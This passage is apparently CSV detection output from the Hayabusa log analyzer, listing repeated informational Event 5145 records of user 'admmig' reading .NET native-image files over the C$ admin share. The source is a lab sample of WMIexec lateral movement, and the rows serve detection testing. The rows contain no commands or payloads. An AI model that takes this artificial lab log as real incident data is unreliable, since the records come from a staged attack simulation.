10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.22cc68a8#\4a545096f3372d1b7307ee8849058910 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\5ba9e9e2d2253e30f3f28e12016e441d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics\8e945b32dd6b4b00c900f6c01c0f3c62 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Printing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.662 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Printing\0f95ad97e3260801c998976fb3a0e0e1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Reflc3377498# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Reflc3377498#\4febdd9160ebfd86d00365dbdaca9054 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt0d283adf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.678 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt0d283adf#\32aee6654d81a07e698f9ee18c886a2a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.694 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt19c51595# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.694 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt19c51595#\65e679add728957b62f4bbba59d88386 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.725 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.725 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d#\3e17b0be5e7a03853d44d996d366e88b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.741 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt93d54979# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.741 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt93d54979#\2abf386e286ec43711933fbe3e652014 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt9064068c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runt9064068c#\6ef9bbadb5c7087da45798a762683eeb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runtc259d85b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runtc259d85b#\ed68489987b413410ccb94c6e704f6b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.772 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\183eaaded316165bfbd32a991e4e8c8a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Security : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Security\ba6ea4732f569e0674d6a43a82de5cc2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14b62006# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14b62006#\09e0258d6e4a9d467c32dc8ac58766f2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv30e99c02# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv30e99c02#\c97638c574cae07911907fa19e2aeedd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.803 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv43e0ae6e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.819 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv43e0ae6e#\e9302436a2c607db888bcb3b14ebba8e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.834 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv759bfb78# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.834 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv759bfb78#\5e015d37aa3fdc75648e9d00d44d13ac : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.850 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14259fd9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.866 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14259fd9#\3c06d012b88601107a4449fb04067a20 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.882 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servae423458# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.882 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servae423458#\67f143e1f5d81dae33879b84e0035cad : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servb00a6512# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servb00a6512#\03d76bf2a39a57e8bed74e782c62fd1c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servd1dec626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servd1dec626#\ee53227bcc4430088d0b560752c1cd02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servf73e6522# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servf73e6522#\39bc23d9592ef276c70a36ef0311070a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.ServiceModel : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.ServiceModel\4c3126aec3364546e4ade89c24c4e742 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Speech : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Speech\6d5f82d8178e3d8e9931e70dce584863 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Transactions : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Transactions\95c749867e5f72a09ed1e59a57931301 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web\90285827b1300835ca1aaff1dff83a01 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8da3333a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8da3333a#\3dde15282321aa41c609dc7f7a5f1af5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8dc504e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8dc504e4#\61d489d8a768782ce394f299dcc0e4bb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.9c7998a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.9c7998a9#\f2c2cff3fa34c990079298396b1ec1fc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.28b9ef5a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via 